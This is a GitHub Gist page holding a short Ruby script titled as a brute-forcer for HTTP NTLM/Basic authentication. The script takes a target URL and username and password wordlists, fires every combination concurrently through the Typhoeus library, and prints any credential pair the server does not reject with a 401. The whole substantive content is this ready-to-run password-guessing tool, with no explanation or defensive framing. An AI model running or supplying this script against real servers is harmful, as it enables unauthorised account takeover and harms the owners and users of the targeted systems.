Created
August 17, 2018 12:51
-
-
Save ethicalhack3r/d95efe63e4158bea14b0f356bef769a7 to your computer and use it in GitHub Desktop.
Brute Forces HTTP NTLM Basic Authentication using Typhoeus
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'typhoeus' | |
target_url = ARGV[0] | |
usernames = File.read(ARGV[1]).split("\n") | |
passwords = File.read(ARGV[2]).split("\n") | |
hydra = Typhoeus::Hydra.new | |
puts "Starting the brute force..." | |
usernames.each do |username| | |
passwords.each do |password| | |
request = Typhoeus::Request.new(target_url, followlocation: true, userpwd: "#{username}:#{password}") | |
request.on_complete do |response| | |
puts "SUCCESS! #{username}:#{password} #{response.code}" unless response.code == 401 | |
end | |
hydra.queue(request) | |
end | |
end | |
hydra.run | |
puts 'Done!' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment